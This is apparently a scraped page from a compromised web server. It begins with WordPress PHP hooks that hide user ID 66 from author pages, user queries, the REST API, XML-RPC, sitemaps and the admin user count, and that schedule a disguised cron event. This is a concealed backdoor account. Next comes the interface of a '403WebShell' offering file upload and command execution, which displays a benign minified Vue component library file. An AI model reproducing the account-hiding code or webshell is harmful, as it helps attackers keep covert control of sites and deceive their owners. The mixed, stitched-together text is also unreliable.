add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/resources/lib/codex/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/resources/lib/codex/codex.cjs
"use strict";var Fn=Object.defineProperty,Pn=Object.defineProperties;var _n=Object.getOwnPropertyDescriptors;var Ke=Object.getOwnPropertySymbols;var At=Object.prototype.hasOwnProperty,Dt=Object.prototype.propertyIsEnumerable;var dt=(e,n,o)=>n in e?Fn(e,n,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[n]=o,Y=(e,n)=>{for(var o in n||(n={}))At.call(n,o)&&dt(e,o,n[o]);if(Ke)for(var o of Ke(n))Dt.call(n,o)&&dt(e,o,n[o]);return e},ae=(e,n)=>Pn(e,_n(n));var de=(e,n)=>{var o={};for(var l in e)At.call(e,l)&&n.indexOf(l)<0&&(o[l]=e[l]);if(e!=null&&Ke)for(var l of Ke(e))n.indexOf(l)<0&&Dt.call(e,l)&&(o[l]=e[l]);return o};var me=(e,n,o)=>dt(e,typeof n!="symbol"?n+"":n,o);var J=(e,n,o)=>new Promise((l,s)=>{var d=a=>{try{r(o.next(a))}catch(u){s(u)}},i=a=>{try{r(o.throw(a))}catch(u){s(u)}},r=a=>a.done?l(a.value):Promise.resolve(a.value).then(d,i);r((o=o.apply(e,n)).next())});Object.defineProperty(exports,Symbol.toStringTag,{value:"Module"});const t=require("vue"),zn='<path d="M11.53 2.3A1.85 1.85 0 0010 1.21 1.85 1.85 0 008.48 2.3L.36 16.36C-.48 17.81.21 19 1.88 19h16.24c1.67 0 2.36-1.19 1.52-2.64zM11 16H9v-2h2zm0-4H9V6h2z"/>',Kn='<path d="M12.43 14.34A5 5 0 0110 15a5 5 0 113.95-2L17 16.09V3a2 2 0 00-2-2H5a2 2 0 00-2 2v14a2 2 0 002 2h10a2 2 0 001.45-.63z"/><circle cx="10" cy="10" r="3"/>',Hn='<path d="M7 14.17 2.83 10l-1.41 1.41L7 17 19 5l-1.41-1.42z"/>',Un='<path d="M10 0a10 10 0 1010 10A10 10 0 0010 0m5.66 14.24-1.41 1.41L10 11.41l-4.24 4.25-1.42-1.42L8.59 10 4.34 5.76l1.42-1.42L10 8.59l4.24-4.24 1.41 1.41L11.41 10z"/>',jn='<path d="m4.34 2.93 12.73 12.73-1.41 1.41L2.93 4.35z"/><path d="M17.07 4.34 4.34 17.07l-1.41-1.41L15.66 2.93z"/>',Wn='<path d="M10 15 2 5h16z"/>',qn='<path d="M13.728 1H6.272L1 6.272v7.456L6.272 19h7.456L19 13.728V6.272zM11 15H9v-2h2zm0-4H9V5h2z"/>',Qn='<path d="m17.5 4.75-7.5 7.5-7.5-7.5L1 6.25l9 9 9-9z"/>',Gn='<path d="M19 3H1v14h18zM3 14l3.5-4.5 2.5 3L12.5 8l4.5 6z"/><path d="M19 5H1V3h18zm0 12H1v-2h18z"/>',Yn='<path d="M8 19a1 1 0 001 1h2a1 1 0 001-1v-1H8zm9-12a7 7 0 10-12 4.9S7 14 7 15v1a1 1 0 001 1h4a1 1 0 001-1v-1c0-1 2-3.1 2-3.1A7 7 0 0017 7"/>',Xn='<path d="M10 0C4.477 0 0 4.477 0 10s4.477 10 10 10 10-4.477 10-10S15.523 0 10 0M9 5h2v2H9zm0 4h2v6H9z"/>',Zn='<path d="M3 1h2v18H3zm13.5 1.5L15 1l-9 9 9 9 1.5-1.5L9 10z"/>',Jn='<path d="M15 1h2v18h-2zM3.5 2.5 11 10l-7.5 7.5L5 19l9-9-9-9z"/>',eo='<path d="M7 1 5.6 2.5 13 10l-7.4 7.5L7 19l9-9z"/>',to='<path d="m4 10 9 9 1.4-1.5L7 10l7.4-7.5L13 1z"/>',no='<path d="M12.2 13.6a7 7 0 111.4-1.4l5.4 5.4-1.4 1.4zM3 8a5 5 0 1010 0A5 5 0 003 8"/>',oo='<path d="M10 0 3 8h14zm0 18-7-8h14z"/>',lo='<path d="M10 20a10 10 0 010-20 10 10 0 110 20m-2-5 9-8.5L15.5 5 8 12 4.5 8.5 3 10z"/>',ao='<path d="m10 5 8 10H2z"/>',Kt=zn,so=Kn,io=Hn,ro=Un,Ye=jn,uo=Wn,Ht=qn,Ut=Qn,co=Gn,jt={langCodeMap:{ar:Yn},default:Xn},po={ltr:Zn,shouldFlip:!0},fo={ltr:Jn,shouldFlip:!0},Wt={ltr:eo,shouldFlip:!0},qt={ltr:to,shouldFlip:!0},mo=no,ho=oo,Qt=lo,vo=ao;function go(e,n,o){if(typeof e=="string"||"path"in e)return e;if("shouldFlip"in e)return e.ltr;if("rtl"in e)return o==="rtl"?e.rtl:e.ltr;const l=n in e.langCodeMap?e.langCodeMap[n]:e.default;return typeof l=="string"||"path"in l?l:l.ltr}function bo(e,n){if(typeof e=="string")return!1;if("langCodeMap"in e){const o=n in e.langCodeMap?e.langCodeMap[n]:e.default;if(typeof o=="string")return!1;e=o}if("shouldFlipExceptions"in e&&Array.isArray(e.shouldFlipExceptions)){const o=e.shouldFlipExceptions.indexOf(n);return o===void 0||o===-1}return"shouldFlip"in e?e.shouldFlip:!1}function Fe(e){const n=t.ref(null);return t.onMounted(()=>{const o=window.getComputedStyle(e.value).direction;n.value=o==="ltr"||o==="rtl"?o:null}),n}function Gt(e){const n=t.ref("");return t.onMounted(()=>{let o=e.value;for(;o&&o.lang==="";)o=o.parentElement;n.value=o?o.lang:null}),n}function ee(e){return n=>typeof n=="string"&&e.includes(n)}const Te="cdx",yo=["default","progressive","destructive"],Co=["normal","primary","quiet"],wo=["medium","large"],ko=["x-small","small","medium"],$o=["notice","warning","error","success"],Yt=ee($o),Bo=["text","search","number","email","month","password","tel","url","week","date","datetime-local","time"],pe=["default","warning","error","success"],So=["start","center","end","number"],Io=120,xo=500,Ve="cdx-menu-footer-item",Xt=Symbol("CdxTabs"),Zt=Symbol("CdxActiveTab"),Jt=Symbol("CdxAllowArbitrary"),en=Symbol("CdxFieldInputId"),Xe=Symbol("CdxFieldDescriptionId"),tn=Symbol("CdxFieldStatus"),nn=Symbol("CdxDisabled"),Vo="".concat(Te,"-no-invert"),je=Symbol("CdxTableRowIdentifier"),Eo=["top","bottom","both"],on={left:"right","left-start":"right","left-end":"right",top:"bottom","top-start":"bottom","top-end":"bottom",bottom:"top","bottom-start":"top","bottom-end":"top",right:"left","right-start":"left","right-end":"left"},No=ee(ko),Ao=t.defineComponent({name:"CdxIcon",props:{icon:{type:[String,Object],required:!0},iconLabel:{type:String,default:""},lang:{type:String,default:null},dir:{type:String,default:null},size:{type:String,default:"medium",validator:No}},setup(e){const n=t.ref(),o=Fe(n),l=Gt(n),s=t.computed(()=>{var c;return(c=e.dir)!=null?c:o.value}),d=t.computed(()=>{var c;return(c=e.lang)!=null?c:l.value}),i=t.computed(()=>({"cdx-icon--flipped":s.value==="rtl"&&d.value!==null&&bo(e.icon,d.value),["cdx-icon--".concat(e.size)]:!0})),r=t.computed(()=>{var c,p;return go(e.icon,(c=d.value)!=null?c:"",(p=s.value)!=null?p:"ltr")}),a=t.computed(()=>typeof r.value=="string"?r.value:""),u=t.computed(()=>typeof r.value!="string"?r.value.path:"");return{rootElement:n,rootClasses:i,iconSvg:a,iconPath:u}}}),_=(e,n)=>{const o=e.__vccOpts||e;for(const[l,s]of n)o[l]=s;return o},Do=["aria-hidden"],Mo={key:0},Lo=["innerHTML"],To=["d"];function Ro(e,n,o,l,s,d){return t.openBlock(),t.createElementBlock("span",{ref:"rootElement",class:t.normalizeClass(["cdx-icon",e.rootClasses])},[(t.openBlock(),t.createElementBlock("svg",{xmlns:"http://www.w3.org/2000/svg",width:"20",height:"20",viewBox:"0 0 20 20","aria-hidden":e.iconLabel?void 0:!0},[e.iconLabel?(t.openBlock(),t.createElementBlock("title",Mo,t.toDisplayString(e.iconLabel),1)):t.createCommentVNode("v-if",!0),e.iconSvg?(t.openBlock(),t.createElementBlock("g",{key:1,innerHTML:e.iconSvg},null,8,Lo)):(t.openBlock(),t.createElementBlock("path",{key:2,d:e.iconPath},null,8,To))],8,Do))],2)}const G=_(Ao,[["render",Ro]]);function ln(e){const n=[];for(const o of e)typeof o.type=="string"||typeof o.type=="object"?n.push(o):o.type!==t.Comment&&(typeof o.children=="string"&&o.children.trim()!==""?n.push(o.children):Array.isArray(o.children)&&n.push(...ln(o.children)));return n}function an(e,n){return typeof e.type=="object"&&"name"in e.type?n!==void 0?e.type.name===n:!0:!1}function Oo(e,n){return typeof e.type=="string"?e.type===n.toLowerCase():!1}function Ze(e){const n=typeof e=="function"?e():e;return n?ln(n):[]}function Je(e,n){if(e()){t.warn(n);return}const o=t.watch(e,l=>{l&&(t.warn(n),o())})}function sn(e,n,o){const l=t.computed(()=>{const s=Ze(e);if(s.length!==1)return!1;const d=s[0];return!!(typeof d=="object"&&(an(d,"CdxIcon")||Oo(d,"svg")))});return Je(()=>l.value&&!n["aria-label"]&&!n["aria-hidden"],"".concat(o,": Icon-only buttons require one of the following attributes: aria-label or aria-hidden. See documentation at https://doc.wikimedia.org/codex/latest/components/demos/button.html#icon-only-button")),l}const Fo=ee(yo),Po=ee(Co),_o=ee(wo),zo=t.defineComponent({name:"CdxButton",props:{action:{type:String,default:"default",validator:Fo},weight:{type:String,default:"normal",validator:Po},size:{type:String,default:"medium",validator:_o}},emits:["click"],setup(e,{emit:n,slots:o,attrs:l}){const s=t.ref(),d=sn(o.default,l,"CdxButton"),i=t.ref(!1),r=t.computed(()=>({["cdx-button--action-".concat(e.action)]:!0,["cdx-button--weight-".concat(e.weight)]:!0,["cdx-button--size-".concat(e.size)]:!0,"cdx-button--framed":e.weight!=="quiet","cdx-button--icon-only":d.value,"cdx-button--is-active":i.value})),a=f=>{n("click",f)},u=f=>{i.value=f};function c(){u(!0)}function p(){var f;u(!1),(f=s.value)==null||f.click()}return{button:s,rootClasses:r,onClick:a,onKeyDown:c,onKeyUp:p}}});function Ko(e,n,o,l,s,d){return t.openBlock(),t.createElementBlock("button",{ref:"button",class:t.normalizeClass(["cdx-button",e.rootClasses]),onKeydown:n[0]||(n[0]=t.withKeys(t.withModifiers((...i)=>e.onKeyDown&&e.onKeyDown(...i),["prevent"]),["space","enter"])),onKeyup:n[1]||(n[1]=t.withKeys((...i)=>e.onKeyUp&&e.onKeyUp(...i),["space","enter"])),onClick:n[2]||(n[2]=(...i)=>e.onClick&&e.onClick(...i))},[t.renderSlot(e.$slots,"default")],34)}const fe=_(zo,[["render",Ko]]);function Pe(e,n,o,l){return t.computed({get:()=>{var s;return(s=n.value)!=null?s:e.value},set:s=>{n.value!==null?o(l||"update:modelValue",s):e.value=s}})}const Ho=t.defineComponent({name:"CdxAccordion",components:{CdxButton:fe,CdxIcon:G},props:{modelValue:{type:[Boolean,null],default:null},actionAlwaysVisible:{type:Boolean,default:!1},actionIcon:{type:[String,Object],default:null},actionButtonLabel:{type:String,default:""},headingLevel:{type:String,default:"h3"}},emits:["action-button-click","update:modelValue","toggle"],setup(e,{attrs:n,emit:o}){const l=t.ref("open"in n),s=Pe(l,t.toRef(e,"modelValue"),o),d=()=>{o("action-button-click")},i=u=>{s.value=u.newState==="open",o("toggle",s.value)},r=t.computed(()=>e.actionIcon?s.value?!0:!!e.actionAlwaysVisible:!1),a=t.computed(()=>({"cdx-accordion--has-icon":r.value}));return{emitActionButtonClick:d,rootClasses:a,shouldShowActionButton:r,onToggle:i,computedOpen:s}}}),Uo=["open"],jo={class:"cdx-accordion__header__title"},Wo={class:"cdx-accordion__header__description"};function qo(e,n,o,l,s,d){const i=t.resolveComponent("cdx-icon"),r=t.resolveComponent("cdx-button");return t.openBlock(),t.createElementBlock("details",{class:t.normalizeClass(["cdx-accordion",e.rootClasses]),open:e.computedOpen||void 0,onToggle:n[1]||(n[1]=(...a)=>e.onToggle&&e.onToggle(...a))},[t.createElementVNode("summary",null,[(t.openBlock(),t.createBlock(t.resolveDynamicComponent(e.headingLevel),{class:"cdx-accordion__header"},{default:t.withCtx(()=>[t.createElementVNode("span",jo,[t.renderSlot(e.$slots,"title")]),t.createElementVNode("span",Wo,[t.renderSlot(e.$slots,"description")])]),_:3})),e.shouldShowActionButton?(t.openBlock(),t.createBlock(r,{key:0,class:"cdx-accordion__action","aria-label":e.actionButtonLabel,type:"button",weight:"quiet",onClick:t.withModifiers(e.emitActionButtonClick,["stop"])},{default:t.withCtx(()=>[t.createVNode(i,{icon:e.actionIcon,"icon-label":e.actionButtonLabel,size:"medium"},null,8,["icon","icon-label"])]),_:1},8,["aria-label","onClick"])):t.createCommentVNode("v-if",!0)]),t.createElementVNode("div",{class:"cdx-accordion__content",onClick:n[0]||(n[0]=t.withModifiers(()=>{},["stop"]))},[t.renderSlot(e.$slots,"default")])],42,Uo)}const Qo=_(Ho,[["render",qo]]);function rn(e){return e.label===void 0?e.value:e.label===null?"":e.label}function dn(e){const n=t.ref(),o=t.ref(),l=t.ref(new Map),s=Fe(n);function d(h,v){const g=h;g&&l.value.set(v,g)}function i(h){o.value=h}function r(){o.value=void 0}function a(h,v){var B;const g=h+v,C=e.value[g];if(C)if(C.disabled)a(g,v);else{const S=(B=l.value.get(g))==null?void 0:B.$el;S==null||S.focus()}}function u(){var h;a((h=o.value)!=null?h:-1,1)}function c(){var h;a((h=o.value)!=null?h:e.value.length,-1)}function p(){s.value==="rtl"?c():u()}function f(){s.value==="rtl"?u():c()}function m(h){switch(h.key){case"ArrowRight":h.preventDefault(),p();break;case"ArrowLeft":h.preventDefault(),f();break;case"ArrowDown":h.preventDefault(),u();break;case"ArrowUp":h.preventDefault(),c();break}}return{rootElement:n,assignTemplateRef:d,onFocus:i,onBlur:r,onKeydown:m}}const Go=t.defineComponent({name:"CdxButtonGroup",components:{CdxButton:fe,CdxIcon:G},props:{buttons:{type:Array,required:!0,validator:e=>Array.isArray(e)&&e.length>=1},disabled:{type:Boolean,default:!1}},emits:["click"],setup(e){const{rootElement:n,assignTemplateRef:o,onFocus:l,onBlur:s,onKeydown:d}=dn(t.toRef(e,"buttons"));return{rootElement:n,assignTemplateRef:o,onFocus:l,onBlur:s,onKeydown:d,getButtonLabel:rn}}}),Yo={ref:"rootElement",class:"cdx-button-group"};function Xo(e,n,o,l,s,d){const i=t.resolveComponent("cdx-icon"),r=t.resolveComponent("cdx-button");return t.openBlock(),t.createElementBlock("div",Yo,[(t.openBlock(!0),t.createElementBlock(t.Fragment,null,t.renderList(e.buttons,(a,u)=>(t.openBlock(),t.createBlock(r,{key:a.value,ref_for:!0,ref:c=>e.assignTemplateRef(c,u),disabled:a.disabled||e.disabled,"aria-label":a.ariaLabel,onClick:c=>e.$emit("click",a.value),onFocus:c=>e.onFocus(u),onBlur:e.onBlur,onKeydown:e.onKeydown},{default:t.withCtx(()=>[t.renderSlot(e.$slots,"default",{button:a},()=>[a.icon?(t.openBlock(),t.createBlock(i,{key:0,icon:a.icon},null,8,["icon"])):t.createCommentVNode("v-if",!0),t.createTextVNode(" "+t.toDisplayString(e.getButtonLabel(a)),1)])]),_:2},1032,["disabled","aria-label","onClick","onFocus","onBlur","onKeydown"]))),128))],512)}const Zo=_(Go,[["render",Xo]]),Jo=t.defineComponent({name:"CdxThumbnail",components:{CdxIcon:G},props:{thumbnail:{type:[Object,null],default:null},placeholderIcon:{type:[String,Object],default:co}},setup:e=>{const n=t.ref(!1),o=t.ref({}),l=s=>{const d=s.replace(/([\\"\n])/g,"\\$1"),i=new Image;i.onload=()=>{o.value={backgroundImage:'url("'.concat(d,'")')},n.value=!0},i.onerror=()=>{n.value=!1},i.src=d};return t.onMounted(()=>{var s;(s=e.thumbnail)!=null&&s.url&&l(e.thumbnail.url)}),t.watch(t.toRef(e,"thumbnail"),(s,d)=>{if(!(s!=null&&s.url)){n.value=!1,o.value={};return}(d==null?void 0:d.url)!==s.url&&(n.value=!1,l(s.url))},{deep:!0}),{thumbnailStyle:o,thumbnailLoaded:n,NoInvertClass:Vo}}}),el={class:"cdx-thumbnail"},tl={key:0,class:"cdx-thumbnail__placeholder"};function nl(e,n,o,l,s,d){const i=t.resolveComponent("cdx-icon");return t.openBlock(),t.createElementBlock("span",el,[e.thumbnailLoaded?t.createCommentVNode("v-if",!0):(t.openBlock(),t.createElementBlock("span",tl,[t.createVNode(i,{icon:e.placeholderIcon,class:"cdx-thumbnail__placeholder__icon--vue"},null,8,["icon"])])),t.createVNode(t.Transition,{name:"cdx-thumbnail__image"},{default:t.withCtx(()=>[e.thumbnailLoaded?(t.openBlock(),t.createElementBlock("span",{key:0,style:t.normalizeStyle(e.thumbnailStyle),class:t.normalizeClass([e.NoInvertClass,"cdx-thumbnail__image"])},null,6)):t.createCommentVNode("v-if",!0)]),_:1})])}const gt=_(Jo,[["render",nl]]),ol=t.defineComponent({name:"CdxCard",components:{CdxIcon:G,CdxThumbnail:gt},props:{url:{type:String,default:""},icon:{type:[String,Object],default:""},thumbnail:{type:[Object,null],default:null},forceThumbnail:{type:Boolean,default:!1},customPlaceholderIcon:{type:[String,Object],default:void 0}},setup(e){const n=t.computed(()=>!!e.url),o=t.computed(()=>n.value?"a":"span"),l=t.computed(()=>n.value?e.url:void 0);return{isLink:n,contentTag:o,cardLink:l}}}),ll={class:"cdx-card__text"},al={class:"cdx-card__text__title"},sl={key:0,class:"cdx-card__text__description"},il={key:1,class:"cdx-card__text__supporting-text"};function rl(e,n,o,l,s,d){const i=t.resolveComponent("cdx-thumbnail"),r=t.resolveComponent("cdx-icon");return t.openBlock(),t.createBlock(t.resolveDynamicComponent(e.contentTag),{href:e.cardLink,class:t.normalizeClass(["cdx-card",{"cdx-card--is-link":e.isLink,"cdx-card--title-only":!e.$slots.description&&!e.$slots["supporting-text"]}])},{default:t.withCtx(()=>[e.thumbnail||e.forceThumbnail?(t.openBlock(),t.createBlock(i,{key:0,thumbnail:e.thumbnail,"placeholder-icon":e.customPlaceholderIcon,class:"cdx-card__thumbnail"},null,8,["thumbnail","placeholder-icon"])):e.icon?(t.openBlock(),t.createBlock(r,{key:1,icon:e.icon,class:"cdx-card__icon"},null,8,["icon"])):t.createCommentVNode("v-if",!0),t.createElementVNode("span",ll,[t.createElementVNode("span",al,[t.renderSlot(e.$slots,"title")]),e.$slots.description?(t.openBlock(),t.createElementBlock("span",sl,[t.renderSlot(e.$slots,"description")])):t.createCommentVNode("v-if",!0),e.$slots["supporting-text"]?(t.openBlock(),t.createElementBlock("span",il,[t.renderSlot(e.$slots,"supporting-text")])):t.createCommentVNode("v-if",!0)])]),_:3},8,["href","class"])}const dl=_(ol,[["render",rl]]);function bt(e){const n=t.inject(nn,t.ref(!1));return t.computed(()=>n.value||e.value)}function se(e,n,o){const l=bt(e),s=t.inject(tn,t.ref("default")),d=t.computed(()=>n!=null&&n.value&&n.value!=="default"?n.value:s.value),i=t.inject(en,void 0),r=t.computed(()=>{var a;return(a=i==null?void 0:i.value)!=null?a:o});return{computedDisabled:l,computedStatus:d,computedInputId:r}}function le(e,n=t.computed(()=>({}))){const o=t.computed(()=>{const d=de(n.value,[]);return e.class&&e.class.split(" ").forEach(r=>{d[r]=!0}),d}),l=t.computed(()=>{if("style"in e)return e.style}),s=t.computed(()=>{const a=e,{class:d,style:i}=a;return de(a,["class","style"])});return{rootClasses:o,rootStyle:l,otherAttrs:s}}function X(e,n,o=[]){const l=t.inject("CdxI18nFunction",void 0);return t.computed(()=>{const s=o.map(i=>typeof i=="function"?i():i.value),d=l==null?void 0:l(e,...s);return d!=null?d:typeof n=="function"?n(...s):n})}function _e(e,n,o,l=[]){const s=X(n,o,l);return t.computed(()=>e.value||s.value)}const ul=t.defineComponent({name:"CdxLabel",components:{CdxIcon:G},inheritAttrs:!1,props:{icon:{type:[String,Object],default:null},optional:{type:Boolean,default:!1},optionalFlag:{type:String,default:""},visuallyHidden:{type:Boolean,default:!1},isLegend:{type:Boolean,default:!1},inputId:{type:String,default:""},descriptionId:{type:String,default:""},disabled:{type:Boolean,default:!1}},setup(e,{attrs:n}){const{computedDisabled:o}=se(t.toRef(e,"disabled")),l=t.computed(()=>({"cdx-label--visually-hidden":e.visuallyHidden,"cdx-label--disabled":o.value})),{rootClasses:s,rootStyle:d,otherAttrs:i}=le(n,l),r=_e(t.toRef(e,"optionalFlag"),"cdx-label-optional-flag","(optional)");return{rootClasses:s,rootStyle:d,otherAttrs:i,translatedOptionalFlag:r}}}),cl=["for"],pl={class:"cdx-label__label__text"},fl={key:1,class:"cdx-label__label__optional-flag"},ml=["id"],hl={class:"cdx-label__label"},vl={class:"cdx-label__label__text"},gl={key:1,class:"cdx-label__label__optional-flag"},bl={key:0,class:"cdx-label__description"};function yl(e,n,o,l,s,d){const i=t.resolveComponent("cdx-icon");return e.isLegend?(t.openBlock(),t.createElementBlock("legend",t.mergeProps({key:1,class:["cdx-label",e.rootClasses],style:e.rootStyle},e.otherAttrs),[t.createElementVNode("span",hl,[e.icon?(t.openBlock(),t.createBlock(i,{key:0,icon:e.icon,class:"cdx-label__label__icon"},null,8,["icon"])):t.createCommentVNode("v-if",!0),t.createElementVNode("span",vl,[t.renderSlot(e.$slots,"default")]),e.optionalFlag||e.optional?(t.openBlock(),t.createElementBlock("span",gl,t.toDisplayString(" ")+" "+t.toDisplayString(e.translatedOptionalFlag),1)):t.createCommentVNode("v-if",!0)]),e.$slots.description&&e.$slots.description().length>0?(t.openBlock(),t.createElementBlock("span",bl,[t.renderSlot(e.$slots,"description")])):t.createCommentVNode("v-if",!0)],16)):(t.openBlock(),t.createElementBlock("div",{key:0,class:t.normalizeClass(["cdx-label",e.rootClasses]),style:t.normalizeStyle(e.rootStyle)},[t.createElementVNode("label",t.mergeProps({class:"cdx-label__label",for:e.inputId?e.inputId:void 0},e.otherAttrs),[e.icon?(t.openBlock(),t.createBlock(i,{key:0,icon:e.icon,class:"cdx-label__label__icon"},null,8,["icon"])):t.createCommentVNode("v-if",!0),t.createElementVNode("span",pl,[t.renderSlot(e.$slots,"default")]),e.optionalFlag||e.optional?(t.openBlock(),t.createElementBlock("span",fl,t.toDisplayString(" ")+" "+t.toDisplayString(e.translatedOptionalFlag),1)):t.createCommentVNode("v-if",!0)],16,cl),e.$slots.description&&e.$slots.description().length>0?(t.openBlock(),t.createElementBlock("span",{key:0,id:e.descriptionId||void 0,class:"cdx-label__description"},[t.renderSlot(e.$slots,"description")],8,ml)):t.createCommentVNode("v-if",!0)],6))}const Ae=_(ul,[["render",yl]]);function et(e,n,o){Je(()=>Ze(e).length===0&&!(n!=null&&n["aria-label"])&&!(n!=null&&n["aria-labelledby"]),"".concat(o,": Inputs must have an associated label. Provide one of the following:\n - A label via the appropriate slot\n - An `aria-label` attribute set to the label text\n - An `aria-labelledby` attribute set to the ID of the label element"))}function oe(e,n,o){return t.computed({get:()=>e.value,set:l=>n(o||"update:modelValue",l)})}const Cl=ee(pe),wl=t.defineComponent({name:"CdxCheckbox",components:{CdxLabel:Ae},props:{modelValue:{type:[Boolean,Array],default:!1},inputValue:{type:[String,Number,Boolean],default:!1},name:{type:String,default:null},disabled:{type:Boolean,default:!1},indeterminate:{type:Boolean,default:!1},inline:{type:Boolean,default:!1},hideLabel:{type:Boolean,default:!1},status:{type:String,default:"default",validator:Cl}},emits:["update:modelValue"],setup(e,{emit:n,slots:o,attrs:l}){var f;et((f=o.default)==null?void 0:f.call(o),l,"CdxCheckbox");const{computedDisabled:s,computedStatus:d}=se(t.toRef(e,"disabled"),t.toRef(e,"status")),i=t.computed(()=>({"cdx-checkbox--inline":e.inline,["cdx-checkbox--status-".concat(d.value)]:!0})),r=t.computed(()=>({"cdx-checkbox__custom-input--inline":e.inline})),a=t.ref(),u=t.useId(),c=t.useId(),p=oe(t.toRef(e,"modelValue"),n);return{rootClasses:i,computedDisabled:s,input:a,checkboxId:u,descriptionId:c,wrappedModel:p,customInputClasses:r}}}),kl={class:"cdx-checkbox__wrapper"},$l=["id","aria-describedby","value","name","disabled",".indeterminate"];function Bl(e,n,o,l,s,d){const i=t.resolveComponent("cdx-label");return t.openBlock(),t.createElementBlock("div",{class:t.normalizeClass(["cdx-checkbox",e.rootClasses])},[t.createElementVNode("div",kl,[t.withDirectives(t.createElementVNode("input",{id:e.checkboxId,ref:"input","onUpdate:modelValue":n[0]||(n[0]=r=>e.wrappedModel=r),class:"cdx-checkbox__input",type:"checkbox","aria-describedby":e.$slots.description&&e.$slots.description().length>0?e.descriptionId:void 0,value:e.inputValue,name:e.name,disabled:e.computedDisabled,".indeterminate":e.indeterminate},null,40,$l),[[t.vModelCheckbox,e.wrappedModel]]),n[1]||(n[1]=t.createElementVNode("span",{class:"cdx-checkbox__icon"},null,-1)),e.$slots.default&&e.$slots.default().length?(t.openBlock(),t.createBlock(i,{key:0,class:"cdx-checkbox__label","input-id":e.checkboxId,"description-id":e.$slots.description&&e.$slots.description().length>0?e.descriptionId:void 0,disabled:e.computedDisabled,"visually-hidden":e.hideLabel},t.createSlots({default:t.withCtx(()=>[t.renderSlot(e.$slots,"default")]),_:2},[e.$slots.description&&e.$slots.description().length>0?{name:"description",fn:t.withCtx(()=>[t.renderSlot(e.$slots,"description")]),key:"0"}:void 0]),1032,["input-id","description-id","disabled","visually-hidden"])):t.createCommentVNode("v-if",!0)]),e.$slots["custom-input"]?(t.openBlock(),t.createElementBlock("div",{key:0,class:t.normalizeClass(["cdx-checkbox__custom-input",e.customInputClasses])},[t.renderSlot(e.$slots,"custom-input")],2)):t.createCommentVNode("v-if",!0)],2)}const un=_(wl,[["render",Bl]]),Sl=t.defineComponent({name:"CdxInputChip",components:{CdxButton:fe,CdxIcon:G},props:{icon:{type:[String,Object],default:null},disabled:{type:Boolean,default:!1},readonly:{type:Boolean,default:!1},className:{type:String,default:""}},emits:["remove-chip","click-chip","arrow-left","arrow-right"],setup(e,{emit:n}){const o=t.computed(()=>e.disabled?-1:0),l=t.ref(),s=t.computed(()=>({"cdx-input-chip--disabled":e.disabled,"cdx-input-chip--readonly":e.readonly,[e.className]:e.className.length>0})),d=X("cdx-input-chip-aria-description","Press Enter to edit or Delete to remove");function i(r){var 